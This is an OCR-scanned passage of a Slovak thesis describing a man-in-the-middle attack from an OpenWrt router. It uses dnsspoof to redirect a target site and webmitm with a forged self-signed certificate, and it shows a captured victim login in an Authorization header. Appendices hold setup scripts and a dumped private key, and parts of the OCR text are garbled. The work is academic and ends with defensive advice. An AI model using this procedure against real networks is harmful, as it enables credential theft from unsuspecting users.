Pre potreby utoku je vSak eSte nutné doinsStalovat’ balik programu openSSL pre prikazovy riadok
openssl-util.
root@OpenWrt:/# ipkg install -d usb
http://downloads.openwrt.org/whiterussian/packages/openssl-
util 0.9.8d-1 mipsel.ipk
Z pouzitych prikazov je mozné vycitat, zZe programy boli nainStalované na externy USB disk. Preto

ich treba zlinkovat’ pomocou nami vytvoreného ipkg-1ink skriptu.

5.4  Vytvorenie certifikatu

Ako uz bolo spomenuté, na realizaciu utoku potrebujeme vygenerovat self-signed certifikat.
Na jeho vytvorenie pouzijeme program webmitm z balika dsniff. Pri prvom spusteni webmitm
program kontroluje, ¢i uz nebol certifikdt vygenerovany, teda ¢i adresar /usb/usr/sbin
neobsahuje . crt subor. Ak sa tam subor nenachadza, zane s generovanim nového certifikatu.
Generovanie certifikatu sa spusta prikazom webmi tm. Po jeho zadani program ako prvé vygeneruje
RSA privatny kl'u¢. Ostava nam esSte zadat’ informacie, ktoré sa v certifikate pouziju. Jedna sa
0 osobné informacie ako napr.: meno, nazov spolocnosti, email, mesto alebo Stat. Tieto informacie sa
postupne zadavaji do prikazového riadku. Cely tento postup je zobrazeny v prilohe 3. Aby bol
podvrhnuty certifikat o najdoveryhodnejsi, je potrebné volit' o najdokladnejSiec napr. opisanim
z povodného certifikatu. Po vygenerovani je certifikat spolu s RSA privatnym kI'aicom

ulozeny v subore /usb/usr/sbin/webmitm. crt. Obsah suboru je zobrazeny v prilohe 4.
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5.5  Spustenie atoku

Pred  spustenim  samotného  utoku je  eSte  potrebné  editovat  subor
/usb/usr/lib/dnsspoof.hosts, tak aby bola komunikacia presmerovana podla naSich
predstav. V nasom pripade subor vyzeral asi takto:

root@AsusWR:~# cat /usb/usr/lib/dnsspoof.hosts
# $Id: dnsspoof.hosts,v 1.2 2000/08/28 13:28:21 dugsong Exp $

#

# Sample hosts file for dnsspoof
#

192.168.1.1 target.url.com

Adresa 192.168.1.1 je IP adresa nasho smerovaca a DNS nazov target.url.com je web stranka, na
ktorej chceme zachytavat prihlasovacie udaje.

Pri spusteni utoku moze nastat” situacia, ze sa objavi chybova hlaska . /webmitm: bind:
Address already in use. To znamend, ze port 443 alebo 80 uz pouziva ina aplikacia napr.
httpd. Na overenie dostupnosti portu pouzijeme program na monitorovanie siete — nmap (Network

Mapper) [12]. Nmap nainstalujeme a nasledne spustime prikazmi:

root@OpenWrt:/usb/usr/lib# ipkg install -d usb nmap
root@OpenWrt:/usb/usr/sbin# nmap -sT 192.168.1.1

Teraz uZ nam ni¢ nebrani spustit oba programy: dnsspoof awebmitm. Webmitm
poskytuje viac moznosti na jeho spustenie. Parameter —d poskytuje minimalne mnozstvo
debuggovacich informacii, parameter —~dd vypisuje vSetky klientove poziadavky, ako GET a POST,
a parameter -ddd vypisuje vSetko, Co sa so serveru precita. My program spustime s parametrom

—-dd.

root@OpenWrt:/usb/usr/sbin# ./dnsspoof -f dnsspoof.hosts
./dnsspoof: listening on br0 [udp dst port 53 and not src
192.168.1.1]

root@OpenWrt:/usb/usr/sbin# webmitm -dd

webmitm: relaying transparently

Po spusteni oba programy cakaju, pokial klient nezada poziadavku na sledovanu URL adresu.

Ked’ sa tak stane, prebichajuca komunikacia sa zane vypisovat na Standardny vystup.
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dnsspoof:

192.168.1.208.59088 > 192.168.1.1.53: 38206+ A? target.url.com

webmitm:

webmitm: new connection from 192.168.1.208.61850

GET / HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/Jjpeg, image/pjpedg,
application/x-ms—-application, application/vnd.ms-xpsdocument,
application/xaml+xml, application/x-ms-xbap, application/x-
shockwave-flash, application/vnd.ms-excel, application/vnd.ms-
powerpoint, application/msword, */*

Accept-Language: sk

UA-CPU: x86

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;
SLCC1l; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.30729; .NET
CLR 3.0.30618)

Host: target.url.com

Connection: Keep-Alive

Klient vtejto faze ignoruje varovanie webového prehliadaca a pokracuje na zobrazenie

webovej stranky vid’. obrazok 5.1. Klient nasledne poZziada o prihlasenie a do dialogového okna zada

svoje prihlasovacie meno a heslo. Webmitm tieto udaje zachyti a vypiSe na Standardny vystup.

There is a problem with this website's security certificate.

The security certificate presented by this website was not issued by a trusted certificate authority.
The security certificate presented by this website has expired or is not yet valid.
The security certificate presented by this website was issued for a different website's address.

Security certificate problems may indicate an attempt to fool you or intercept any data you send to the
server.

We recommend that you close this webpage and do not continue to this website.
@ Click here to close this webpage.

& Continue to this website (not recommended).

® More information

Obrazok 5.1:  Varovanie webového prehliadaca.
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webmitm:
webmitm: new connection from 192.168.1.208.61864
GET /login/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/Jjpeg, image/pjpedg,
application/x-ms—-application, application/vnd.ms-xpsdocument,
application/xaml+xml, application/x-ms-xbap, application/x-
shockwave-flash, application/vnd.ms-excel, application/vnd.ms-
powerpoint, application/msword, */*
Referer: https://target.url.com/login/
Accept-Language: sk
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;
SLCC1l; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.30729; .NET
CLR 3.0.30618)
Host: target.url.com
Connection: Keep-Alive

Authorization: Basic eHNOcmJpMDI6YWo2YWI1nZWO=

01/01/00 22:44:29 tcp attacker.lan.61864 -> target.url.com.443
(http)

GET /login/ HTTP/1.1

Host: target.url.com

Authorization: Basic eHNOcmJpMDI6GYWo2YWInZWO= [meno:heslo]

Cely tutok by sa mohol este zjednodusit’ pomocou presmerovania Standardné¢ho vystupu do
suboru a pouzitim programu na spracovanie textu akym je napr. AWK [16]. Kombinaciou AWK
s presmerovanim vypisu do suboru ddjde k uloZeniu iba tych informacii, ktoré¢ su pre nas dolezité

a teda k podstatnému znizeniu pamét'ovych narokov.
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6 Z.aver

Zamerom tejto prace bolo navrhnut a implementovat’ man-in-the-middle utok s pouzitim
bezdrétového smerovaca. Z viacero druhou utokov bol vybrany tzv. webmitm, ¢ize utok smerovany
na SSL protokol. Jeho cielom bolo ziskanie prihlasovacich tdajov, ¢o sa nam aj podarilo. Pri
prevedeni utoku sa vSak bralo do uvahy uzivatel'ove nezabezpecené zachadzanie s jeho dovernymi
informaciami. Jednalo sa hlavne o pripojeniec sa na nedoveryhodny bezdrotovy smerovaé ako aj
o ignorovanie vystrah webového prehliadaca.

Vzhl'adom na to, Ze prevedenie tohto titoku nie je prili§ narocne, oznacil by som tento typ
utoku za vel'mi nebezpecny. NavySe kombinacia s nejakym d’al§im utokom ako napr. phishing, by
mohla viest' k skutoénej materialnej $kode. Utok je takisto mozné implementovat aj do LAN siete,
kde je pocet moznych poskodenych osdb este vacsi.

Pri pisani tejto prace som sa uistil vtom, Ze naSe osobné informacie na internete nie si
v takom bezpeci ako sa mnoho 'udi domnieva. Tato nevedomost’ iba nahrava do karat tym, ktory sa
snazia tuto skutocnost” vyuzit' vo svoj prospech. Odporucal by som preto vzdy pouzivat najvyssi
stupenn zabezpeCenia, neignorovat’ vystrazné hlasenie o certifikate pri SSL spojeni a taktiez
nenavstevovat doverné web stranky pokial si nie sme isty, Ze pripojenie na internet je bezpecné.

Ako nadvédzujuca téma pre bakalarsku pracu by mohla byt kombinacia utokov ako aj

implementacia utoku v lokalnej sieti.
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Priloha 1

Skript usbdrive

#!/bin/sh /etc/rc.common

START=99

STOP=40

start ()

{
echo -n "Testing USB Partition: "
e2fsck -p /dev/scsi/host0/busO/target0/1lunlO/partl &
sleep 5
echo -n "Mounting USB drive: "
mount -o noatime /dev/scsi/host0/busO/target0/lun0/partl /usb
echo "Done."

stop ()
{
echo -n "Umounting USB drive: "
sync
sync
umount /dev/scsi/host0/bus0/target0/lunl0/partl
echo "Done."
}
restart ()

{
stop
start
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Priloha 2

Skript ipkg-link

#!/bin/sh
COMMAND=S51
PACKAGE=S$2
setdest ()
{
for i in “grep dest /etc/ipkg.conf | cut -d ' ' -f 3°; do
if [ -f $i/usr/lib/ipkg/info/$PACKAGE.list ]; then
DEST=$1i
fi
done
if [ "x$DEST" = "x" ]; then
echo "Can not locate $PACKAGE."
echo "Check /etc/ipkg.conf for correct dest listings";
echo "Check name of requested package: S$SPACKAGE"
exit 1
fi
}
addlinks ()
{
setdest;

do

cat S$DEST/usr/lib/ipkg/info/$PACKAGE.list | while read LINE;

SRC=S$SLINE
DST="echo S$SRC | sed "s|S$DEST||""
DSTNAME= "basename S$DST"
DSTDIR="echo $DST | sed "s|S$DSTNAME\S||"®
test -f "S$SRC"
if [ $? = 0 ]; then
test -e "S$DST"
if [ $?2 =1 ]; then
mkdir -p S$SDSTDIR
1n —-sf $SRC $DST
else
echo "Not linking $SRC to $DST"
echo "$DST Already exists"
fi
else
test -d "$SRC"
if [ $? = 0 ]; then
test —-e SDST
if [ $?2 =1 ]; then
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mkdir -p S$DST

while read LINE;

else
echo "directory already exists"
fi
else
echo "Source directory $SRC does not exist"
fi
fi
done
}
removelinks ()
{
setdest;
cat S$DEST/usr/lib/ipkg/info/SPACKAGE.list |
do
SRC=S$SLINE
DST="echo SLINE | sed "s|$DEST||""
DSTNAME= "basename S$DST"
DSTDIR="echo $DST | sed "s|SDSTNAME\S||"®
test -f SDST
if [ $? = 0 ]; then
rm —-f S$DST
test -d S$DSTDIR && rmdir S$DSTDIR 2>/dev/null
else
test -d S$DST
if [ $? = 0 ]; then
rmdir $DST
else
echo "$DST does not exist"
fi
fi
done
}
mountdest ()
{
test -d $SPACKAGE
if [ $?2 =1 ]; then
echo "Mount point does not exist"
exit 1
fi
for i in $SPACKAGE/usr/lib/ipkg/info/*.1list; do
$0 add “basename $i .list’
done
}
umountdest ()
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}

case

*)

echo
echo
echo
echo
echo
echo
echo
exit

esac
exit

test -d S$SPACKAGE

if [ $?2 =1 ]; then
echo "Mount point does not exist"
exit 1

fi

for i in $PACKAGE/usr/lib/ipkg/info/*.1list;
$0 remove ‘basename $i .list’

done

"SCOMMAND" in
add)
addlinks
remove)
removelinks
mount)
mountdest
umount)
umountdest

"Usage: $0 <cmd> <target>"

do

" Commands: add, remove, mount, umount"
" Targets: <package>, <mount point>"
"Example: $0 add kismet-server"

"Example: $0 remove kismet-server"

"Example: $O0 mount /usb"

"Example: $O0 umount /usb"

1

0
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Priloha 3

Vytvorenie certifikatu

root@0OpenWrt:/usb/usr/sbin# ./webmitm

Generating RSA private key, 1024 bit long modulus
......................... ++++++

e 1s 65537 (0x10001)

You are about to be asked to enter information that will be
incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished
Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

Country Name (2 letter code) [AU]:CZ

State or Province Name (full name) [Some-State]:Czech Republic
Locality Name (eg, city) []:Brno
Organization Name (eqg, company) [Internet Widgits Pty

Ltd] : Company

Organizational Unit Name (eg, section) []:Unit
Common Name (eg, YOUR name) []:MyName
Email Address []:liame@femanmy.cz

Please enter the following 'extra' attributes

to be sent with your certificate request

A challenge password []:password

An optional company name []:OptCompName

Signature ok

subject=/C=CZ/ST=Czech
Republic/L=Brno/0O=Company/0OU=Unit/CN=MyName/emailAddress=11iame(@
emanmy.cz

Getting Private key

./webmitm: certificate generated
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Priloha 4

Subor webmitm.crt

root@OpenWrt:/usb/usr/sbin# cat webmitm.crt

MIICXQIBARKBgQC6emOEAOSW2ZKiG/VsulLs+uJdk040YS057WIKLNhTjOPFCCglm
$38shlohCysbHrUIRSOKcnTDOQgf68sn27m/Vn3ah306eRjwugOViDcjsHGYD4P ]
dJcRQzuLfdQaUeHD1uPY kmXoVrd9Sopwk6d/zas+aY8BEYHpIx3VE8BOHWIDAQAR
RAOGBAKBgI1QFQETOb87KVDgn887d9k+fz8ri+f8NIUk/8tDfOINxOueWojQQGh95J
NOnbPgzgnVRgZdvTZDpyo4+kS8KI9vBMkbyYdS9dZ9j01V3V5Z1AEWg4 c8sNzCHmS8
ARAITf+h22/XX/40+ujdoShAtHDKo1X7didiE51Ucnx6F8XIBAKEASIPT1cdIXATm
XDUO1vAvgd /NK5Uz7bHnUJ761bBZ6BBMsRY jdhOTI2A0BxgkOLv1INS SukI3kROwWgK
c0zX/e0vnwIBAMPJs jn8DhKZLgjpbUwntYARAQMbLUNSVPofU7CtYrrki4JixN1i
aPKNuHfgggnrSJITPqwrvLTB6yy2mLGiWUYECQQDYyOUJhJ1N3eN60Z6rQ79dTul0gF
rfmifwP/EZC6zLDkW5z0p7uex5VANNtQOgInHP1PW2VEYAGAF96KkhIWmmwSdAkAS
uDPjzHUfM7VgxcUeLNrN8UC+158rz3SGyZCLPI+/gPopmceBWpsguaHZSLAR1pG+
WrMohcXHp6s43E09N18BAKkBwzf+QFvO0ZAbT0o2Bag234BkfyVlzuw9c5ZavVcal2bFv
CgPO69EsraSpOEx35h75p6014kkRxZW6LMEKHUKQKWY z

MIIChzCCAfACCQCHpPBMI6jgrzANBgkghkiGO9wOBAQUFADCBhzELMAKGA1UEBhMC
QloxFzAVBgNVBAGTDKN6ZWNoIFJ1cHVibG1 jMQOwCWwYDVQQHEWRCcmSvMRAWDgY D
VQOKEWdDb21wYW55MQOwCwYDVQQLEWRVbm1 0MQO8wDQYDVQQODEWZNeUShbWUxHjAC
BgkghkiGOwOBCQEWD2xpYW11QGVtYW5teS5je jAeFwOWMDAXMDEWMDQOMTdaFwOw
MDEyMzEwMDQOMT daMIGHMQOswCQYDVQQGEwWJIDW]EXMBUGA1UECBMOQ3plY2ggUmVw
dWJIsaWMxDTALBgNVBACTBEJybm8xEDAOBgNVBAOTBONVLXBhbnkxDTALBgNVBAST
BEVUuaXQxDzANBgNVBAMTBk15TmFt ZTEeMBWGCSgGSIb3DQEJARY POG1hbWVAZW1h
bm15ImN6MIGEMAOGCSgGSIb3DQEBAQUARAGNADCBIQKBgQC6emOEAOSW2ZKiG/ Vs
ulLs+uJk040YSO057WIKLNhTjOPFCCglmsj8shlohCysbHrUIRSOKcnTDOQQf68sn
27m/Vn3ah306eRjwugqOViDcisHgYD4PjdJIcRQzuLfdQaUeHDI1UuPYkmXoVrd9Sopw
k6d/zas+aY8BEYHpJIx3Vf8BOHWIDAQABMAOGCSUGSIb3DQEBBQUAAAGBAHt zxGHY
7gbizpMGZGL020Qgy20wmGdKgfgTF40oUVeg9OVHYMGEspjpmKRhr1nH1pXCdob8y1NV
xfmDZLY+QFJQOSCUIJCcURSES80INOWKYY8ywY 1ZauAWFHIAES55k/g8x5L.Gj41g0nB
Ea2WygdHBOK2ZXzWyniD8Uk4 TOvVWpeQCfaX
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